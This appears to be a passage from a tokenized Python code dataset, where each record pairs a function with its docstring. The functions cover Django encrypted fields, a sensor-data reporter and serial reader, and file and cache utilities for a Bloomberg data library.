{"signature": "def decrypt(self, data, ttl=None):", "body": "data = self._signer.unsign(data, ttl)<EOL>iv = data[:<NUM_LIT:16>]<EOL>ciphertext = data[<NUM_LIT:16>:]<EOL>decryptor = Cipher(<EOL>algorithms.AES(self._encryption_key), modes.CBC(iv),<EOL>self._backend).decryptor()<EOL>plaintext_padded = decryptor.update(ciphertext)<EOL>try:<EOL><INDENT>plaintext_padded += decryptor.finalize()<EOL><DEDENT>except ValueError:<EOL><INDENT>raise InvalidToken<EOL><DEDENT>unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()<EOL>unpadded = unpadder.update(plaintext_padded)<EOL>try:<EOL><INDENT>unpadded += unpadder.finalize()<EOL><DEDENT>except ValueError:<EOL><INDENT>raise InvalidToken<EOL><DEDENT>return unpadded<EOL>", "docstring": ":type data: bytes\n:type ttl: int\n:rtype: bytes", "id": "f146:c1:m3"}
{"signature": "def get_encrypted_field(base_class):", "body": "assert not isinstance(base_class, models.Field)<EOL>field_name = '<STR_LIT>' + base_class.__name__<EOL>if base_class not in FIELD_CACHE:<EOL><INDENT>FIELD_CACHE[base_class] = type(field_name,<EOL>(EncryptedMixin, base_class), {<EOL>'<STR_LIT>': base_class,<EOL>})<EOL><DEDENT>return FIELD_CACHE[base_class]<EOL>", "docstring": "A get or create method for encrypted fields, we cache the field in\nthe module to avoid recreation. This also allows us to always return\nthe same class reference for a field.\n\n:type base_class: models.Field[T]\n:rtype: models.Field[EncryptedMixin, T]", "id": "f147:m0"}
{"signature": "def encrypt(base_field, key=None, ttl=None):", "body": "if not isinstance(base_field, models.Field):<EOL><INDENT>assert key is None<EOL>assert ttl is None<EOL>return get_encrypted_field(base_field)<EOL><DEDENT>name, path, args, kwargs = base_field.deconstruct()<EOL>kwargs.update({'<STR_LIT:key>': key, '<STR_LIT>': ttl})<EOL>return get_encrypted_field(base_field.__class__)(*args, **kwargs)<EOL>", "docstring": "A decorator for creating encrypted model fields.\n\n:type base_field: models.Field[T]\n:param bytes key: This is an optional argument.\n\n    Allows for specifying an instance specific encryption key.\n:param int ttl: This is an optional argument.\n\n    The amount of time in seconds that a value can be stored for. If the\n    time to live of the data has passed, it will become unreadable.\n    The expired value will return an :class:`Expired` object.\n:rtype: models.Field[EncryptedMixin, T]", "id": "f147:m1"}
{"signature": "def value_to_string(self, obj):", "body": "value = self.value_from_object(obj)<EOL>return b64encode(self._dump(value)).decode('<STR_LIT:ascii>')<EOL>", "docstring": "Pickled data is serialized as base64", "id": "f147:c0:m10"}
{"signature": "def __init__(self, store, url=\"<STR_LIT>\", credentials={}, do_verify_certificate=True):", "body": "self.store = store<EOL>self.url = url<EOL>self.credentials = credentials<EOL>self.do_verify_certificate = do_verify_certificate<EOL>", "docstring": "Initialize the reporter.\n    store store         the data store", "id": "f155:c0:m0"}
{"signature": "def log(self, url=None, credentials=None, do_verify_certificate=True):", "body": "if url is None:<EOL><INDENT>url = self.url<EOL><DEDENT>if re.match(\"<STR_LIT>\", url):<EOL><INDENT>self.log_file(url)<EOL><DEDENT>elif re.match(\"<STR_LIT>\", url) or re.match(\"<STR_LIT>\", url):<EOL><INDENT>self.log_post(url, credentials, do_verify_certificate)<EOL><DEDENT>else:<EOL><INDENT>self.log_stdout()<EOL><DEDENT>", "docstring": "Wrapper for the other log methods, decide which one based on the\nURL parameter.", "id": "f155:c0:m1"}
{"signature": "def log_stdout(self):", "body": "print(self.store.get_text())<EOL>", "docstring": "Write to standard output", "id": "f155:c0:m2"}
{"signature": "def log_file(self, url=None):", "body": "if url is None:<EOL><INDENT>url = self.url<EOL><DEDENT>f = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", url)<EOL>try:<EOL><INDENT>with open(f, \"<STR_LIT:a>\") as of:<EOL><INDENT>of.write(str(self.store.get_json_tuples(True)))<EOL><DEDENT><DEDENT>except IOError as e:<EOL><INDENT>print(e)<EOL>print(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Write to a local log file", "id": "f155:c0:m3"}
{"signature": "def log_post(self, url=None, credentials=None, do_verify_certificate=True):", "body": "if url is None:<EOL><INDENT>url = self.url<EOL><DEDENT>if credentials is None:<EOL><INDENT>credentials = self.credentials<EOL><DEDENT>if do_verify_certificate is None:<EOL><INDENT>do_verify_certificate = self.do_verify_certificate<EOL><DEDENT>if credentials and \"<STR_LIT>\" in credentials:<EOL><INDENT>headers = {\"<STR_LIT:Content-Type>\": \"<STR_LIT:application/json>\",'<STR_LIT>': '<STR_LIT>' % credentials[\"<STR_LIT>\"]}<EOL><DEDENT>else:<EOL><INDENT>headers = {\"<STR_LIT:Content-Type>\": \"<STR_LIT:application/json>\"}<EOL><DEDENT>try:<EOL><INDENT>request = requests.post(url, headers=headers,data=self.store.get_json(), verify=do_verify_certificate)<EOL><DEDENT>except httplib.IncompleteRead as e:<EOL><INDENT>request = e.partial<EOL><DEDENT>", "docstring": "Write to a remote host via HTTP POST", "id": "f155:c0:m4"}
{"signature": "def log_ssh(self):", "body": "pass<EOL>", "docstring": "Write to a remote file via ssh", "id": "f155:c0:m5"}
{"signature": "def register_credentials(self, credentials=None, user=None, user_file=None, password=None, password_file=None):", "body": "<EOL>if credentials is not None:<EOL><INDENT>self.credentials = credentials<EOL><DEDENT>else:<EOL><INDENT>self.credentials = {}<EOL>if user:<EOL><INDENT>self.credentials[\"<STR_LIT:user>\"] = user<EOL><DEDENT>elif user_file:<EOL><INDENT>with open(user_file, \"<STR_LIT:r>\") as of:<EOL><INDENT>pattern = re.compile(\"<STR_LIT>\")<EOL>for l in of:<EOL><INDENT>if re.match(pattern, l):<EOL><INDENT>l = l[<NUM_LIT:0>:-<NUM_LIT:1>]<EOL>self.credentials[\"<STR_LIT:user>\"] = re.sub(pattern, \"<STR_LIT>\", l)<EOL><DEDENT><DEDENT><DEDENT>if self.credentials[\"<STR_LIT:user>\"][<NUM_LIT:0>:<NUM_LIT:1>] == '<STR_LIT:\">' andself.credentials[\"<STR_LIT:user>\"][-<NUM_LIT:1>:] == '<STR_LIT:\">':<EOL><INDENT>self.credentials[\"<STR_LIT:user>\"] = self.credentials[\"<STR_LIT:user>\"][<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>if password:<EOL><INDENT>self.credentials[\"<STR_LIT:password>\"] = password<EOL><DEDENT>elif password_file:<EOL><INDENT>with open(password_file, \"<STR_LIT:r>\") as of:<EOL><INDENT>pattern = re.compile(\"<STR_LIT>\")<EOL>for l in of:<EOL><INDENT>if re.match(pattern, l):<EOL><INDENT>l = l[<NUM_LIT:0>:-<NUM_LIT:1>]<EOL>self.credentials[\"<STR_LIT:password>\"] =re.sub(pattern, \"<STR_LIT>\", l)<EOL><DEDENT><DEDENT><DEDENT>if self.credentials[\"<STR_LIT:password>\"][<NUM_LIT:0>:<NUM_LIT:1>] == '<STR_LIT:\">' andself.credentials[\"<STR_LIT:password>\"][-<NUM_LIT:1>:] == '<STR_LIT:\">':<EOL><INDENT>self.credentials[\"<STR_LIT:password>\"] =self.credentials[\"<STR_LIT:password>\"][<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>if \"<STR_LIT:user>\" in self.credentials and \"<STR_LIT:password>\" in self.credentials:<EOL><INDENT>c = self.credentials[\"<STR_LIT:user>\"] + \"<STR_LIT::>\" + self.credentials[\"<STR_LIT:password>\"]<EOL>self.credentials[\"<STR_LIT>\"] = b64encode(c.encode()).decode(\"<STR_LIT:ascii>\")<EOL><DEDENT><DEDENT>", "docstring": "Helper method to store username and password", "id": "f155:c0:m6"}
{"signature": "def register_json(self, data):", "body": "j = json.loads(data)<EOL>self.last_data_timestamp =datetime.datetime.utcnow().replace(microsecond=<NUM_LIT:0>).isoformat()<EOL>try:<EOL><INDENT>for v in j:<EOL><INDENT>self.data[v[self.id_key]] = {}<EOL>self.data[v[self.id_key]][self.id_key] =v[self.id_key]<EOL>self.data[v[self.id_key]][self.value_key] =v[self.value_key]<EOL>if self.unit_key in v:<EOL><INDENT>self.data[v[self.id_key]][self.unit_key] =v[self.unit_key]<EOL><DEDENT>if self.threshold_key in v:<EOL><INDENT>self.data[v[self.id_key]][self.threshold_key] =v[self.threshold_key]<EOL><DEDENT>for k in self.other_keys:<EOL><INDENT>if k in v:<EOL><INDENT>self.data[v[self.id_key]][k] = v[k]<EOL><DEDENT><DEDENT>if self.sensor_time_key in v:<EOL><INDENT>self.data[v[self.sensor_time_key]][self.sensor_time_key] =v[self.sensor_time_key]<EOL><DEDENT>self.data[v[self.id_key]][self.time_key] =self.last_data_timestamp<EOL><DEDENT><DEDENT>except KeyError as e:<EOL><INDENT>print(\"<STR_LIT>\" +str(e))<EOL><DEDENT>except ValueError as e:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\" + str(e))<EOL><DEDENT>", "docstring": "Register the contents as JSON", "id": "f156:c0:m2"}
{"signature": "def get_text(self):", "body": "t = \"<STR_LIT>\" + str(self.last_data_timestamp) + \"<STR_LIT>\"<EOL>for k in self.data:<EOL><INDENT>t += k + \"<STR_LIT:U+0020>\" + str(self.data[k][self.value_key])<EOL>u = \"<STR_LIT>\"<EOL>if self.unit_key in self.data[k]:<EOL><INDENT>u = self.data[k][self.unit_key]<EOL>t += u<EOL><DEDENT>if self.threshold_key in self.data[k]:<EOL><INDENT>if (self.data[k][self.threshold_key] <self.data[k][self.value_key]):<EOL><INDENT>t += \"<STR_LIT>\" +str(self.data[k][self.threshold_key]) + \"<STR_LIT:!>\"<EOL><DEDENT>else:<EOL><INDENT>t += \"<STR_LIT>\" + str(self.data[k][self.threshold_key]) + u + \"<STR_LIT:)>\"<EOL><DEDENT><DEDENT>for l in self.other_keys:<EOL><INDENT>if l in self.data[k]:<EOL><INDENT>t += \"<STR_LIT:U+0020>\" + self.data[k][l]<EOL><DEDENT><DEDENT>t += \"<STR_LIT:\\n>\"<EOL><DEDENT>return t<EOL>", "docstring": "Get the data in text form (i.e. human readable)", "id": "f156:c0:m3"}
{"signature": "def get_translated_data(self):", "body": "j = {}<EOL>for k in self.data:<EOL><INDENT>d = {}<EOL>for l in self.data[k]:<EOL><INDENT>d[self.translation_keys[l]] = self.data[k][l]<EOL><DEDENT>j[k] = d<EOL><DEDENT>return j<EOL>", "docstring": "Translate the data with the translation table", "id": "f156:c0:m4"}
{"signature": "def get_json(self, prettyprint=False, translate=True):", "body": "j = []<EOL>if translate:<EOL><INDENT>d = self.get_translated_data()<EOL><DEDENT>else:<EOL><INDENT>d = self.data<EOL><DEDENT>for k in d:<EOL><INDENT>j.append(d[k])<EOL><DEDENT>if prettyprint:<EOL><INDENT>j = json.dumps(j, indent=<NUM_LIT:2>, separators=('<STR_LIT:U+002C>','<STR_LIT>'))<EOL><DEDENT>else:<EOL><INDENT>j = json.dumps(j)<EOL><DEDENT>return j<EOL>", "docstring": "Get the data in JSON form", "id": "f156:c0:m5"}
{"signature": "def get_json_tuples(self, prettyprint=False, translate=True):", "body": "j = self.get_json(prettyprint, translate)<EOL>if len(j) > <NUM_LIT:2>:<EOL><INDENT>if prettyprint:<EOL><INDENT>j = j[<NUM_LIT:1>:-<NUM_LIT:2>] + \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>j = j[<NUM_LIT:1>:-<NUM_LIT:1>] + \"<STR_LIT:U+002C>\"<EOL><DEDENT><DEDENT>else:<EOL><INDENT>j = \"<STR_LIT>\"<EOL><DEDENT>return j<EOL>", "docstring": "Get the data as JSON tuples", "id": "f156:c0:m6"}
{"signature": "def __init__(self, device, baudrate, store, rounds=<NUM_LIT:100>, timeout=<NUM_LIT>):", "body": "threading.Thread.__init__(self)<EOL>self.baudrate = baudrate<EOL>self.store = store<EOL>self.rounds = rounds<EOL>self.do_run = True<EOL>self.device_name = device<EOL>try:<EOL><INDENT>if device:<EOL><INDENT>self.device = serial.Serial(device, self.baudrate, timeout=timeout);<EOL><DEDENT><DEDENT>except serial.serialutil.SerialException:<EOL><INDENT>print(\"<STR_LIT>\" + self.device_name)<EOL><DEDENT>", "docstring": "Initialize the serial reader class\n    device        device name to connect to\n    baudrate      the baud rate for the serial line\n    store        the data store object to send the data to\n    rounds        number of rounds to run / listen for input", "id": "f157:c0:m0"}
{"signature": "def age(self):", "body": "<EOL>if self.rounds == <NUM_LIT:1>:<EOL><INDENT>self.do_run = False<EOL><DEDENT>elif self.rounds > <NUM_LIT:1>:<EOL><INDENT>self.rounds -= <NUM_LIT:1><EOL><DEDENT>", "docstring": "Get closer to your EOL", "id": "f157:c0:m1"}
{"signature": "def run(self):", "body": "if not self.device:<EOL><INDENT>return<EOL><DEDENT>try:<EOL><INDENT>data = \"<STR_LIT>\"<EOL>while (self.do_run):<EOL><INDENT>try:<EOL><INDENT>if (self.device.inWaiting() > <NUM_LIT:1>):<EOL><INDENT>l = self.device.readline()[:-<NUM_LIT:2>]<EOL>l = l.decode(\"<STR_LIT>\")<EOL>if (l == \"<STR_LIT:[>\"):<EOL><INDENT>data = \"<STR_LIT:[>\"<EOL><DEDENT>elif (l == \"<STR_LIT:]>\") and (len(data) > <NUM_LIT:4>) and (data[<NUM_LIT:0>] == \"<STR_LIT:[>\"):<EOL><INDENT>data = data + \"<STR_LIT:]>\"<EOL>self.store.register_json(data)<EOL>self.age()<EOL><DEDENT>elif (l[<NUM_LIT:0>:<NUM_LIT:3>] == \"<STR_LIT>\"):<EOL><INDENT>data = data + \"<STR_LIT:U+0020>\" + l<EOL><DEDENT><DEDENT>else:<EOL><INDENT>sleep(<NUM_LIT:1>)<EOL>self.age()<EOL><DEDENT><DEDENT>except (UnicodeDecodeError, ValueError):<EOL><INDENT>data = \"<STR_LIT>\"<EOL>self.age()<EOL><DEDENT><DEDENT><DEDENT>except serial.serialutil.SerialException:<EOL><INDENT>print(\"<STR_LIT>\" + self.device_name)<EOL><DEDENT>", "docstring": "Open a connection over the serial line and receive data lines", "id": "f157:c0:m2"}
{"signature": "def halt(self):", "body": "self.do_run = False<EOL>", "docstring": "Tell the this object to stop working after the next round", "id": "f157:c0:m3"}
{"signature": "def bdp_bds_cache(func, tickers, flds, **kwargs) -> ToQuery:", "body": "cache_data = []<EOL>log_level = kwargs.get('<STR_LIT>', logs.LOG_LEVEL)<EOL>logger = logs.get_logger(bdp_bds_cache, level=log_level)<EOL>kwargs['<STR_LIT>'] = kwargs.pop('<STR_LIT>', func == '<STR_LIT>')<EOL>kwargs['<STR_LIT>'] = kwargs.get('<STR_LIT>', True)<EOL>tickers = utils.flatten(tickers)<EOL>flds = utils.flatten(flds)<EOL>loaded = pd.DataFrame(data=<NUM_LIT:0>, index=tickers, columns=flds)<EOL>for ticker, fld in product(tickers, flds):<EOL><INDENT>data_file = storage.ref_file(<EOL>ticker=ticker, fld=fld, ext='<STR_LIT>', **{<EOL>k: v for k, v in kwargs.items() if k not in EXC_COLS<EOL>}<EOL>)<EOL>if not files.exists(data_file): continue<EOL>logger.debug(f'<STR_LIT>')<EOL>cache_data.append(pd.read_pickle(data_file))<EOL>loaded.loc[ticker, fld] = <NUM_LIT:1><EOL><DEDENT>to_qry = loaded.where(loaded == <NUM_LIT:0>).dropna(how='<STR_LIT:all>', axis=<NUM_LIT:1>).dropna(how='<STR_LIT:all>', axis=<NUM_LIT:0>)<EOL>return ToQuery(<EOL>tickers=to_qry.index.tolist(), flds=to_qry.columns.tolist(),<EOL>cached_data=cache_data<EOL>)<EOL>", "docstring": "Find cached `BDP` / `BDS` queries\n\nArgs:\n    func: function name - bdp or bds\n    tickers: tickers\n    flds: fields\n    **kwargs: other kwargs\n\nReturns:\n    ToQuery(ticker, flds, kwargs)", "id": "f160:m0"}
{"signature": "def exists(path) -> bool:", "body": "return os.path.exists(path=path)<EOL>", "docstring": "Check path or file exists (use os.path.exists)\n\nArgs:\n    path: path or file", "id": "f161:m0"}
{"signature": "def abspath(cur_file, parent=<NUM_LIT:0>) -> str:", "body": "file_path = os.path.abspath(cur_file).replace('<STR_LIT:\\\\>', '<STR_LIT:/>')<EOL>if os.path.isdir(file_path) and parent == <NUM_LIT:0>: return file_path<EOL>adj = <NUM_LIT:1> - os.path.isdir(file_path)<EOL>return '<STR_LIT:/>'.join(file_path.split('<STR_LIT:/>')[:-(parent + adj)])<EOL>", "docstring": "Absolute path\n\nArgs:\n    cur_file: __file__ or file or path str\n    parent: level of parent to look for\n\nReturns:\n    str", "id": "f161:m1"}
{"signature": "def create_folder(path_name: str, is_file=False):", "body": "path_sep = path_name.replace('<STR_LIT:\\\\>', '<STR_LIT:/>').split('<STR_LIT:/>')<EOL>for i in range(<NUM_LIT:1>, len(path_sep) + (<NUM_LIT:0> if is_file else <NUM_LIT:1>)):<EOL><INDENT>cur_path = '<STR_LIT:/>'.join(path_sep[:i])<EOL>if not os.path.exists(cur_path): os.mkdir(cur_path)<EOL><DEDENT>", "docstring": "Make folder as well as all parent folders if not exists\n\nArgs:\n    path_name: full path name\n    is_file: whether input is name of file", "id": "f161:m2"}
{"signature": "def all_files(<EOL>path_name, keyword='<STR_LIT>', ext='<STR_LIT>', full_path=True,<EOL>has_date=False, date_fmt=DATE_FMT<EOL>) -> list:", "body": "if not os.path.exists(path=path_name): return []<EOL>path_name = path_name.replace('<STR_LIT:\\\\>', '<STR_LIT:/>')<EOL>if keyword or ext:<EOL><INDENT>keyword = f'<STR_LIT>' if keyword else '<STR_LIT:*>'<EOL>if not ext: ext = '<STR_LIT:*>'<EOL>files = sort_by_modified([<EOL>f.replace('<STR_LIT:\\\\>', '<STR_LIT:/>') for f in glob.iglob(f'<STR_LIT>')<EOL>if os.path.isfile(f) and (f.replace('<STR_LIT:\\\\>', '<STR_LIT:/>').split('<STR_LIT:/>')[-<NUM_LIT:1>][<NUM_LIT:0>] != '<STR_LIT>')<EOL>])<EOL><DEDENT>else:<EOL><INDENT>files = sort_by_modified([<EOL>f'<STR_LIT>' for f in os.listdir(path=path_name)<EOL>if os.path.isfile(f'<STR_LIT>') and (f[<NUM_LIT:0>] != '<STR_LIT>')<EOL>])<EOL><DEDENT>if has_date:<EOL><INDENT>files = filter_by_dates(files, date_fmt=date_fmt)<EOL><DEDENT>return files if full_path else [f.split('<STR_LIT:/>')[-<NUM_LIT:1>] for f in files]<EOL>", "docstring": "Search all files with criteria\nReturned list will be sorted by last modified\n\nArgs:\n    path_name: full path name\n    keyword: keyword to search\n    ext: file extensions, split by ','\n    full_path: whether return full path (default True)\n    has_date: whether has date in file name (default False)\n    date_fmt: date format to check for has_date parameter\n\nReturns:\n    list: all file names with criteria fulfilled", "id": "f161:m3"}
{"signature": "def all_folders(<EOL>path_name, keyword='<STR_LIT>', has_date=False, date_fmt=DATE_FMT<EOL>) -> list:", "body": "if not os.path.exists(path=path_name): return []<EOL>path_name = path_name.replace('<STR_LIT:\\\\>', '<STR_LIT:/>')<EOL>if keyword:<EOL><INDENT>folders = sort_by_modified([<EOL>f.replace('<STR_LIT:\\\\>', '<STR_LIT:/>') for f in glob.iglob(f'<STR_LIT>')<EOL>if os.path.isdir(f) and (f.replace('<STR_LIT:\\\\>', '<STR_LIT:/>').split('<STR_LIT:/>')[-<NUM_LIT:1>][<NUM_LIT:0>] != '<STR_LIT>')<EOL>])<EOL><DEDENT>else:<EOL><INDENT>folders = sort_by_modified([<EOL>f'<STR_LIT>' for f in os.listdir(path=path_name)<EOL>if os.path.isdir(f'<STR_LIT>') and (f[<NUM_LIT:0>] != '<STR_LIT>')<EOL>])<EOL><DEDENT>if has_date:<EOL><INDENT>folders = filter_by_dates(folders, date_fmt=date_fmt)<EOL><DEDENT>return folders<EOL>", "docstring": "Search all folders with criteria\nReturned list will be sorted by last modified\n\nArgs:\n    path_name: full path name\n    keyword: keyword to search\n    has_date: whether has date in file name (default False)\n    date_fmt: date format to check for has_date parameter\n\nReturns:\n    list: all folder names fulfilled criteria", "id": "f161:m4"}
{"signature": "def sort_by_modified(files_or_folders: list) -> list:", "body": "return sorted(files_or_folders, key=os.path.getmtime, reverse=True)<EOL>", "docstring": "Sort files or folders by modified time\n\nArgs:\n    files_or_folders: list of files or folders\n\nReturns:\n    list", "id": "f161:m5"}
{"signature": "def filter_by_dates(files_or_folders: list, date_fmt=DATE_FMT) -> list:", "body": "r = re.compile(f'<STR_LIT>')<EOL>return list(filter(<EOL>lambda vv: r.match(vv.replace('<STR_LIT:\\\\>', '<STR_LIT:/>').split('<STR_LIT:/>')[-<NUM_LIT:1>]) is not None,<EOL>files_or_folders,<EOL>))<EOL>", "docstring": "Filter files or dates by date patterns\n\nArgs:\n    files_or_folders: list of files or folders\n    date_fmt: date format\n\nReturns:\n    list", "id": "f161:m6"}
{"signature": "def file_modified_time(file_name) -> pd.Timestamp:", "body": "return pd.to_datetime(time.ctime(os.path.getmtime(filename=file_name)))<EOL>", "docstring": "File modified time in python\n\nArgs:\n    file_name: file name\n\nReturns:\n    pd.Timestamp", "id": "f161:m8"}
{"signature": "def load_info(cat):", "body": "res = _load_yaml_(f'<STR_LIT>')<EOL>root = os.environ.get('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT:\\\\>', '<STR_LIT:/>')<EOL>if not root: return res<EOL>for cat, ovrd in _load_yaml_(f'<STR_LIT>').items():<EOL><INDENT>if isinstance(ovrd, dict):<EOL><INDENT>if cat in res: res[cat].update(ovrd)<EOL>else: res[cat] = ovrd<EOL><DEDENT>if isinstance(ovrd, list) and isinstance(res[cat], list): res[cat] += ovrd<EOL><DEDENT>return res<EOL>", "docstring": "Load parameters for assets\n\nArgs:\n    cat: category\n\nReturns:\n    dict\n\nExamples:\n    >>> import pandas as pd\n    >>>\n    >>> assets = load_info(cat='assets')\n    >>> all(cat in assets for cat in ['Equity', 'Index', 'Curncy', 'Corp'])\n    True\n    >>> os.environ['BBG_PATH'] = ''\n    >>> exch = load_info(cat='exch')\n    >>> pd.Series(exch['EquityUS']).allday\n    [400, 2000]\n    >>> test_root = f'{PKG_PATH}/tests'\n    >>> os.environ['BBG_PATH'] = test_root\n    >>> ovrd_exch = load_info(cat='exch')\n    >>> # Somehow os.environ is not set properly in doctest environment\n    >>> ovrd_exch.update(_load_yaml_(f'{test_root}/markets/exch.yml'))\n    >>> pd.Series(ovrd_exch['EquityUS']).allday\n    [300, 2100]", "id": "f162:m0"}
{"signature": "def _load_yaml_(file_name):", "body": "if not os.path.exists(file_name): return dict()<EOL>with open(file_name, '<STR_LIT:r>', encoding='<STR_LIT:utf-8>') as fp:<EOL><INDENT>return YAML().load(stream=fp)<EOL><DEDENT>", "docstring": "Load assets infomation from file\n\nArgs:\n    file_name: file name\n\nReturns:\n    dict", "id": "f162:m1"}
{"signature": "def to_hour(num) -> str:", "body": "to_str = str(int(num))<EOL>return pd.Timestamp(f'<STR_LIT>').strftime('<STR_LIT>')<EOL>", "docstring": "Convert YAML input to hours\n\nArgs:\n    num: number in YMAL file, e.g., 900, 1700, etc.\n\nReturns:\n    str\n\nExamples:\n    >>> to_hour(900)\n    '09:00'\n    >>> to_hour(1700)\n    '17:00'", "id": "f162:m2"}
{"signature": "def hist_file(ticker: str, dt, typ='<STR_LIT>') -> str:", "body": "data_path = os.environ.get(assist.BBG_ROOT, '<STR_LIT>').replace('<STR_LIT:\\\\>', '<STR_LIT:/>')<EOL>if not data_path: return '<STR_LIT>'<EOL>asset = ticker.split()[-<NUM_LIT:1>]<EOL>proper_ticker = ticker.replace('<STR_LIT:/>', '<STR_LIT:_>')<EOL>cur_dt = pd.Timestamp(dt).strftime('<STR_LIT>')<EOL>return f'<STR_LIT>'<EOL>", "docstring": "Data file location for Bloomberg historical data\n\nArgs:\n    ticker: ticker name\n    dt: date\n    typ: [TRADE, BID, ASK, BID_BEST, ASK_BEST, BEST_BID, BEST_ASK]\n\nReturns:\n    file location\n\nExamples:\n    >>> os.environ['BBG_ROOT'] = ''\n    >>> hist_file(ticker='ES1 Index', dt='2018-08-01') == ''\n    True\n    >>> os.environ['BBG_ROOT'] = '/data/bbg'\n    >>> hist_file(ticker='ES1 Index', dt='2018-08-01')\n    '/data/bbg/Index/ES1 Index/TRADE/2018-08-01.parq'", "id": "f163:m0"}
{"signature": "def ref_file(<EOL>ticker: str, fld: str, has_date=False, cache=False, ext='<STR_LIT>', **kwargs<EOL>) -> str:", "body": "data_path = os.environ.get(assist.BBG_ROOT, '<STR_LIT>').replace('<STR_LIT:\\\\>', '<STR_LIT:/>')<EOL>if (not data_path) or (not cache): return '<STR_LIT>'<EOL>proper_ticker = ticker.replace('<STR_LIT:/>', '<STR_LIT:_>')<EOL>cache_days = kwargs.pop('<STR_LIT>', <NUM_LIT:10>)<EOL>root = f'<STR_LIT>'<EOL>if len(kwargs) > <NUM_LIT:0>: info = utils.to_str(kwargs)[<NUM_LIT:1>:-<NUM_LIT:1>].replace('<STR_LIT:|>', '<STR_LIT:_>')<EOL>else: info = '<STR_LIT>'<EOL>if has_date:<EOL><INDENT>cur_dt = utils.cur_time()<EOL>missing = f'<STR_LIT>'<EOL>to_find = re.compile(rf'<STR_LIT>')<EOL>cur_files = list(filter(to_find.match, sorted(<EOL>files.all_files(path_name=root, keyword=info, ext=ext)<EOL>)))<EOL>if len(cur_files) > <NUM_LIT:0>:<EOL><INDENT>upd_dt = to_find.match(cur_files[-<NUM_LIT:1>]).group(<NUM_LIT:1>)<EOL>diff = pd.Timestamp('<STR_LIT>') - pd.Timestamp(upd_dt)<EOL>if diff >= pd.Timedelta(days=cache_days): return missing<EOL>return sorted(cur_files)[-<NUM_LIT:1>]<EOL><DEDENT>else: return missing<EOL><DEDENT>else: return f'<STR_LIT>'<EOL>", "docstring": "Data file location for Bloomberg reference data\n\nArgs:\n    ticker: ticker name\n    fld: field\n    has_date: whether add current date to data file\n    cache: if has_date is True, whether to load file from latest cached\n    ext: file extension\n    **kwargs: other overrides passed to ref function\n\nReturns:\n    file location\n\nExamples:\n    >>> import shutil\n    >>>\n    >>> os.environ['BBG_ROOT'] = ''\n    >>> ref_file('BLT LN Equity', fld='Crncy') == ''\n    True\n    >>> os.environ['BBG_ROOT'] = '/data/bbg'\n    >>> ref_file('BLT LN Equity', fld='Crncy', cache=True)\n    '/data/bbg/Equity/BLT LN Equity/Crncy/ovrd=None.parq'\n    >>> ref_file('BLT LN Equity', fld='Crncy')\n    ''\n    >>> cur_dt = utils.cur_time(tz=utils.DEFAULT_TZ)\n    >>> ref_file(\n    ...     'BLT LN Equity', fld='DVD_Hist_All', has_date=True, cache=True,\n    ... ).replace(cur_dt, '[cur_date]')\n    '/data/bbg/Equity/BLT LN Equity/DVD_Hist_All/asof=[cur_date], ovrd=None.parq'\n    >>> ref_file(\n    ...     'BLT LN Equity', fld='DVD_Hist_All', has_date=True,\n    ...     cache=True, DVD_Start_Dt='20180101',\n    ... ).replace(cur_dt, '[cur_date]')[:-5]\n    '/data/bbg/Equity/BLT LN Equity/DVD_Hist_All/asof=[cur_date], DVD_Start_Dt=20180101'\n    >>> sample = 'asof=2018-11-02, DVD_Start_Dt=20180101, DVD_End_Dt=20180501.pkl'\n    >>> root_path = 'xbbg/tests/data'\n    >>> sub_path = f'{root_path}/Equity/AAPL US Equity/DVD_Hist_All'\n    >>> os.environ['BBG_ROOT'] = root_path\n    >>> for tmp_file in files.all_files(sub_path): os.remove(tmp_file)\n    >>> files.create_folder(sub_path)\n    >>> sample in shutil.copy(f'{root_path}/{sample}', sub_path)\n    True\n    >>> new_file = ref_file(\n    ...     'AAPL US Equity', 'DVD_Hist_All', DVD_Start_Dt='20180101',\n    ...     has_date=True, cache=True, ext='pkl'\n    ... )\n    >>> new_file.split('/')[-1] == f'asof={cur_dt}, DVD_Start_Dt=20180101.pkl'\n    True\n    >>> old_file = 'asof=2018-11-02, DVD_Start_Dt=20180101, DVD_End_Dt=20180501.pkl'\n    >>> old_full = '/'.join(new_file.split('/')[:-1] + [old_file])\n    >>> updated_file = old_full.replace('2018-11-02', cur_dt)\n    >>> updated_file in shutil.copy(old_full, updated_file)\n    True\n    >>> exist_file = ref_file(\n    ...     'AAPL US Equity', 'DVD_Hist_All', DVD_Start_Dt='20180101',\n    ...     has_date=True, cache=True, ext='pkl'\n    ... )\n    >>> exist_file == updated_file\n    False\n    >>> exist_file = ref_file(\n    ...     'AAPL US Equity', 'DVD_Hist_All', DVD_Start_Dt='20180101',\n    ...     DVD_End_Dt='20180501', has_date=True, cache=True, ext='pkl'\n    ... )\n    >>> exist_file == updated_file\n    True", "id": "f163:m1"}
{"signature": "def save_intraday(data: pd.DataFrame, ticker: str, dt, typ='<STR_LIT>'):", "body": "cur_dt = pd.Timestamp(dt).strftime('<STR_LIT>')<EOL>logger = logs.get_logger(save_intraday, level='<STR_LIT>')<EOL>info = f'<STR_LIT>'<EOL>data_file = hist_file(ticker=ticker, dt=dt, typ=typ)<EOL>if not data_file: return<EOL>if data.empty:<EOL><INDENT>logger.warning(f'<STR_LIT>')<EOL>return<EOL><DEDENT>exch = const.exch_info(ticker=ticker)<EOL>if exch.empty: return<EOL>end_time = pd.Timestamp(<EOL>const.market_timing(ticker=ticker, dt=dt, timing='<STR_LIT>')<EOL>).tz_localize(exch.tz)<EOL>now = pd.Timestamp('<STR_LIT>', tz=exch.tz) - pd.Timedelta('<STR_LIT>')<EOL>if end_time > now:<EOL><INDENT>logger.debug(f'<STR_LIT>')<EOL>return<EOL><DEDENT>logger.info(f'<STR_LIT>')<EOL>files.create_folder(data_file, is_file=True)<EOL>data.to_parquet(data_file)<EOL>", "docstring": "Check whether data is done for the day and save\n\nArgs:\n    data: data\n    ticker: ticker\n    dt: date\n    typ: [TRADE, BID, ASK, BID_BEST, ASK_BEST, BEST_BID, BEST_ASK]\n\nExamples:\n    >>> os.environ['BBG_ROOT'] = 'xbbg/tests/data'\n    >>> sample = 